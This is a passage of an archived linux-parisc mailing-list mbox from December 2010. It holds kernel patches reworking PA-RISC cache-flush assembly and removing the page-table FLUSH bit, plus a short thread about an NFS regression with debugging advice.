+++ b/arch/parisc/kernel/pacache.S
@@ -608,93 +608,131 @@ ENTRY(__clear_user_page_asm)
 	.procend
 ENDPROC(__clear_user_page_asm)
 
-ENTRY(flush_kernel_dcache_page_asm)
+ENTRY(flush_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
 
+	ldil		L%(TMPALIAS_MAP_START), %r28
+#ifdef CONFIG_64BIT
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+	/* FIXME: page size dependend */
+#endif
+	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
+	depdi		0, 63,12, %r28		/* Clear any offset bits */
+#else
+	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
+	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
+	depwi		0, 31,12, %r28		/* Clear any offset bits */
+#endif
+
+	/* Purge any old translation */
+
+	pdtlb		0(%r28)
+
 	ldil		L%dcache_stride, %r1
-	ldw		R%dcache_stride(%r1), %r23
+	ldw		R%dcache_stride(%r1), %r1
 
 #ifdef CONFIG_64BIT
 	depdi,z		1, 63-PAGE_SHIFT,1, %r25
 #else
 	depwi,z		1, 31-PAGE_SHIFT,1, %r25
 #endif
-	add		%r26, %r25, %r25
-	sub		%r25, %r23, %r25
-
-
-1:      fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	fdc,m		%r23(%r26)
-	cmpb,COND(<<)		%r26, %r25,1b
-	fdc,m		%r23(%r26)
+	add		%r28, %r25, %r25
+	sub		%r25, %r1, %r25
+	
 
+1:      fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	fdc,m		%r1(%r28)
+	cmpb,COND(<<)		%r28, %r25,1b
+	fdc,m		%r1(%r28)
+	
 	sync
 	bv		%r0(%r2)
-	nop
+	pdtlb		(%r25)
 	.exit
 
 	.procend
-ENDPROC(flush_kernel_dcache_page_asm)
-	
-ENTRY(flush_user_dcache_page)
+ENDPROC(flush_dcache_page_asm)
+
+ENTRY(flush_icache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
 
-	ldil		L%dcache_stride, %r1
-	ldw		R%dcache_stride(%r1), %r23
-
+	ldil		L%(TMPALIAS_MAP_START), %r28
 #ifdef CONFIG_64BIT
-	depdi,z		1,63-PAGE_SHIFT,1, %r25
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+	/* FIXME: page size dependend */
+#endif
+	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
+	depdi		0, 63,12, %r28		/* Clear any offset bits */
 #else
-	depwi,z		1,31-PAGE_SHIFT,1, %r25
+	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
+	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
+	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
-	add		%r26, %r25, %r25
-	sub		%r25, %r23, %r25
 
+	/* Purge any old translation */
 
-1:      fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	fdc,m		%r23(%sr3, %r26)
-	cmpb,COND(<<)		%r26, %r25,1b
-	fdc,m		%r23(%sr3, %r26)
+	pitlb		(%sr0,%r28)
 
+	ldil		L%icache_stride, %r1
+	ldw		R%icache_stride(%r1), %r1
+
+#ifdef CONFIG_64BIT
+	depdi,z		1, 63-PAGE_SHIFT,1, %r25
+#else
+	depwi,z		1, 31-PAGE_SHIFT,1, %r25
+#endif
+	add		%r28, %r25, %r25
+	sub		%r25, %r1, %r25
+	
+
+1:      fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	fic,m		%r1(%r28)
+	cmpb,COND(<<)		%r28, %r25,1b
+	fic,m		%r1(%r28)
+	
 	sync
 	bv		%r0(%r2)
-	nop
+	pitlb		(%sr0,%r25)
 	.exit
 
 	.procend
-ENDPROC(flush_user_dcache_page)
+ENDPROC(flush_icache_page_asm)
 
-ENTRY(flush_user_icache_page)
+ENTRY(flush_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -711,23 +749,23 @@ ENTRY(flush_user_icache_page)
 	sub		%r25, %r23, %r25
 
 
-1:      fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
-	fic,m		%r23(%sr3, %r26)
+1:      fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
+	fdc,m		%r23(%r26)
 	cmpb,COND(<<)		%r26, %r25,1b
-	fic,m		%r23(%sr3, %r26)
+	fdc,m		%r23(%r26)
 
 	sync
 	bv		%r0(%r2)
@@ -735,8 +773,7 @@ ENTRY(flush_user_icache_page)
 	.exit
 
 	.procend
-ENDPROC(flush_user_icache_page)
-
+ENDPROC(flush_kernel_dcache_page_asm)
 
 ENTRY(purge_kernel_dcache_page)
 	.proc
@@ -780,69 +817,6 @@ ENTRY(purge_kernel_dcache_page)
 	.procend
 ENDPROC(purge_kernel_dcache_page)
 
-#if 0
-	/* Currently not used, but it still is a possible alternate
-	 * solution.
-	 */
-
-ENTRY(flush_alias_page)
-	.proc
-	.callinfo NO_CALLS
-	.entry
-
-	tophys_r1		%r26
-
-	ldil		L%(TMPALIAS_MAP_START), %r28
-#ifdef CONFIG_64BIT
-	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
-	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,12, %r28		/* Clear any offset bits */
-#else
-	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
-	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
-	depwi		0, 31,12, %r28		/* Clear any offset bits */
-#endif
-
-	/* Purge any old translation */
-
-	pdtlb		0(%r28)
-
-	ldil		L%dcache_stride, %r1
-	ldw		R%dcache_stride(%r1), %r23
-
-#ifdef CONFIG_64BIT
-	depdi,z		1, 63-PAGE_SHIFT,1, %r29
-#else
-	depwi,z		1, 31-PAGE_SHIFT,1, %r29
-#endif
-	add		%r28, %r29, %r29
-	sub		%r29, %r23, %r29
-
-1:      fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	fdc,m		%r23(%r28)
-	cmpb,COND(<<)		%r28, %r29, 1b
-	fdc,m		%r23(%r28)
-
-	sync
-	bv		%r0(%r2)
-	nop
-	.exit

From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] eliminate special FLUSH flag from page table
Date: Wed, 22 Dec 2010 10:24:36 -0600
Lines: 159
Approved: news@gmane.org
Message-ID: <1293035076.3019.13.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293035107 28362 80.91.229.12 (22 Dec 2010 16:25:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 22 Dec 2010 16:25:07 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 22 17:25:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVRUs-0006fQ-M1
	for glpp-linux-parisc@lo.gmane.org; Wed, 22 Dec 2010 17:25:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754043Ab0LVQYj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 11:24:39 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39314 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754042Ab0LVQYi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 11:24:38 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5C8178EE0F4
	for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 08:24:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UaYRx696nYxR for <linux-parisc@vger.kernel.org>;
	Wed, 22 Dec 2010 08:24:38 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 954988EE0DB
	for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 08:24:37 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3293>

This was used to flush a region even if the page table entry had been
cleared.  In theory this was never necessary, but now we've switched to
alias based flushing, the whole set of code associated with it can be dumped.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---
 arch/parisc/include/asm/pgtable.h |   14 ++------
 arch/parisc/kernel/entry.S        |   61 ++-----------------------------------
 2 files changed, 7 insertions(+), 68 deletions(-)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 865f37a..f3c0973 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -136,8 +136,7 @@
 #define _PAGE_NO_CACHE_BIT 24   /* (0x080) Uncached Page (U bit) */
 #define _PAGE_ACCESSED_BIT 23   /* (0x100) Software: Page Accessed */
 #define _PAGE_PRESENT_BIT  22   /* (0x200) Software: translation valid */
-#define _PAGE_FLUSH_BIT    21   /* (0x400) Software: translation valid */
-				/*             for cache flushing only */
+/* bit 21 was formerly the FLUSH bit but is now unused */
 #define _PAGE_USER_BIT     20   /* (0x800) Software: User accessible page */
 
 /* N.B. The bits are defined in terms of a 32 bit word above, so the */
@@ -171,7 +170,6 @@
 #define _PAGE_NO_CACHE (1 << xlate_pabit(_PAGE_NO_CACHE_BIT))
 #define _PAGE_ACCESSED (1 << xlate_pabit(_PAGE_ACCESSED_BIT))
 #define _PAGE_PRESENT  (1 << xlate_pabit(_PAGE_PRESENT_BIT))
-#define _PAGE_FLUSH    (1 << xlate_pabit(_PAGE_FLUSH_BIT))
 #define _PAGE_USER     (1 << xlate_pabit(_PAGE_USER_BIT))
 #define _PAGE_FILE     (1 << xlate_pabit(_PAGE_FILE_BIT))
 
@@ -211,7 +209,6 @@
 #define PAGE_KERNEL_RO	__pgprot(_PAGE_KERNEL & ~_PAGE_WRITE)
 #define PAGE_KERNEL_UNC	__pgprot(_PAGE_KERNEL | _PAGE_NO_CACHE)
 #define PAGE_GATEWAY    __pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_ACCESSED | _PAGE_GATEWAY| _PAGE_READ)
-#define PAGE_FLUSH      __pgprot(_PAGE_FLUSH)
 
 
 /*
@@ -259,7 +256,7 @@ extern unsigned long *empty_zero_page;
 
 #define ZERO_PAGE(vaddr) (virt_to_page(empty_zero_page))
 
-#define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
+#define pte_none(x)     (pte_val(x) == 0)
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
 
@@ -442,13 +439,10 @@ struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 	pte_t old_pte;
-	pte_t pte;
 
 	spin_lock(&pa_dbit_lock);
-	pte = old_pte = *ptep;
-	pte_val(pte) &= ~_PAGE_PRESENT;
-	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
+	old_pte = *ptep;
+	pte_clear(mm,addr,ptep);
 	spin_unlock(&pa_dbit_lock);
 
 	return old_pte;
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 564606d..5ed2344 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1206,23 +1206,7 @@ nadtlb_miss_20w:
 	nop
 
 nadtlb_check_alias_20w:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_20w
-
-	idtlbt          pte,prot
-
-	rfir
-	nop
-
-nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Drop prot bits from pte and convert to page addr for idtlbt */
-	convert_for_tlb_insert20 pte
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
 
 	idtlbt          pte,prot
 
@@ -1286,7 +1270,7 @@ nadtlb_miss_11:
 	nop
 
 nadtlb_check_alias_11:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_11
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
 
 	idtlba          pte,(va)
 	idtlbp          prot,(va)
@@ -1294,30 +1278,6 @@ nadtlb_check_alias_11:
 	rfir
 	nop
 
-nadtlb_check_flush_11:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	zdepi           7,7,3,prot
-	depi            1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlba */
-
-	depi		0,31,ASM_PFN_PTE_SHIFT,pte
-	SHRREG		pte,(ASM_PFN_PTE_SHIFT-(31-26)),pte
-
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
-	mtsp		spc,%sr1
-
-	idtlba		pte,(%sr1,va)
-	idtlbp		prot,(%sr1,va)
-
-	mtsp		t0, %sr1	/* Restore sr1 */
-
-	rfir
-	nop
-
 dtlb_miss_20:
 	space_adjust	spc,va,t0
 	get_pgd		spc,ptp
@@ -1363,28 +1323,13 @@ nadtlb_miss_20:
 	nop
 
 nadtlb_check_alias_20:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_20
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
 	
 	idtlbt          pte,prot
 
 	rfir
 	nop
 
-nadtlb_check_flush_20:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Drop prot bits from pte and convert to page addr for idtlbt */
-	convert_for_tlb_insert20 pte
-
-	idtlbt          pte,prot

From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: NFS broken in latest 2.6.37-rcX
Date: Wed, 22 Dec 2010 22:34:10 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20101222223410.3a5f44c3@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293053655 20112 80.91.229.12 (22 Dec 2010 21:34:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 22 Dec 2010 21:34:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 22 22:34:05 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVWJv-00018f-TZ
	for glpp-linux-parisc@lo.gmane.org; Wed, 22 Dec 2010 22:34:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752123Ab0LVVeD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 16:34:03 -0500
Original-Received: from tuur.schedom-europe.net ([193.109.184.94]:33192 "EHLO
	tuur.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752040Ab0LVVeC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 16:34:02 -0500
Original-Received: (qmail 14154 invoked by uid 507); 22 Dec 2010 22:33:59 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	tuur.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by tuur.schedom-europe.net with SMTP; 22 Dec 2010 22:33:53 +0100
Original-Received: from wifi010.bxl.tuxicoman.be ([172.20.1.10] helo=zombie)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PVXHM-0005t5-UG
	for linux-parisc@vger.kernel.org; Wed, 22 Dec 2010 23:35:28 +0100
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3294>


Hi all,


It seems that NFS got broken recently.
I've bisected this to babddc72a9468884ce1a23db3c3d54b0afa299f0.

Both NFS version 2 and 3 are affected. I haven't tested NFS 4.

I've been able to reproduce with both 32bit and 64bit kernels using
gcc-4.5.1 with the fix for PR46915 included.

To reproduce, simply mount an NFS share and try to list the files with
ls.

When listing the directory, the code seem to be looping in the commit I
mentioned. The network traffic goes high and you always see the same
packets flowing.

In current HEAD, the behavior is slightly different. The process uses
100% and either you get a kernel panic or if you are lucky, you get
something like "memory exhausted".


I'm not sure how to troubleshoot this further.

Any idea ?


  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: NFS broken in latest 2.6.37-rcX
Date: Wed, 22 Dec 2010 16:53:41 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <AANLkTinp3LaW_h91E+44=_-anambaJwja3BFCfG60fUz@mail.gmail.com>
References: <20101222223410.3a5f44c3@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1293054829 25396 80.91.229.12 (22 Dec 2010 21:53:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 22 Dec 2010 21:53:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 22 22:53:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVWcy-0004aw-9a
	for glpp-linux-parisc@lo.gmane.org; Wed, 22 Dec 2010 22:53:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751394Ab0LVVxn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 16:53:43 -0500
Original-Received: from mail-bw0-f45.google.com ([209.85.214.45]:56153 "EHLO
	mail-bw0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751268Ab0LVVxn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 16:53:43 -0500
Original-Received: by bwz16 with SMTP id 16so6217921bwz.4
        for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 13:53:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=R3sY8uLCCuZrVLCi3Ma6haX8AzNUGyd1aRyiLKBOsVk=;
        b=mtAOqsEC3ERH706CDFZ3zelCsLFsJjtNfus/W2ER1u4m/U321aBSRcM6GkDOeplVyn
         3LdaVw6HBG3/P5qRo+0VC82xuurxOw2SL7ZUb0wAiZSruiSf3nH8rmdDorGJ6R5ojrd3
         uT1XcpUBRqRqZBvItrrqoMhelkKra/bNWe7ss=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=G9XMIS+IhGQ3b+rUvurlNzntlzLpLXPiTHiawsnbO7DtgNL5SW3xEDbU3WSlRSZrLg
         Ma0GO09pASpTThVKIV1q98Xx4MtXGvsh6xevDQvfQCqcB8dvTewO/9feRBfQm5jTQbxD
         64JkbKX8O6fZp4gFog9CmgEZPU4nxyKoGrEfM=
Original-Received: by 10.204.18.6 with SMTP id u6mr6403955bka.209.1293054821992; Wed,
 22 Dec 2010 13:53:41 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Wed, 22 Dec 2010 13:53:41 -0800 (PST)
In-Reply-To: <20101222223410.3a5f44c3@zombie>
X-Google-Sender-Auth: 39w2HGrGVhX4Yq1E-oLx8QLdOHk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3295>

On Wed, Dec 22, 2010 at 4:34 PM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> It seems that NFS got broken recently.
> I've bisected this to babddc72a9468884ce1a23db3c3d54b0afa299f0.
>
> Both NFS version 2 and 3 are affected. I haven't tested NFS 4.
>
> I've been able to reproduce with both 32bit and 64bit kernels using
> gcc-4.5.1 with the fix for PR46915 included.
>
> To reproduce, simply mount an NFS share and try to list the files with
> ls.
>
> When listing the directory, the code seem to be looping in the commit I
> mentioned. The network traffic goes high and you always see the same
> packets flowing.
>
> In current HEAD, the behavior is slightly different. The process uses
> 100% and either you get a kernel panic or if you are lucky, you get
> something like "memory exhausted".
>
>
> I'm not sure how to troubleshoot this further.
>
> Any idea ?

You need to understand the failure mode.

I would do two things:

(a) Revert the patch on HEAD and see if it works. This is usually
convincing proof that something is broken and the patch interacts
badly with our arch.

(c) Put printfs in the code to see where it's looping and under what
conditions.

Once you have a better grasp of the failure mode you can contact the
author of the patch and tell them about the breakage, CC linux-parisc,
and ask for help.

That would be me plan of attack.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 22 Dec 2010 19:07:12 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <AANLkTimoaw7HAqJTjejHf52Qw0zdtGJZK6bWbzgfLLU6@mail.gmail.com>
References: <1293034931.3019.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1293062840 26395 80.91.229.12 (23 Dec 2010 00:07:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 00:07:20 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 01:07:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVYiB-00043x-Lb
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 01:07:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752153Ab0LWAHO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 19:07:14 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:53848 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751541Ab0LWAHN convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
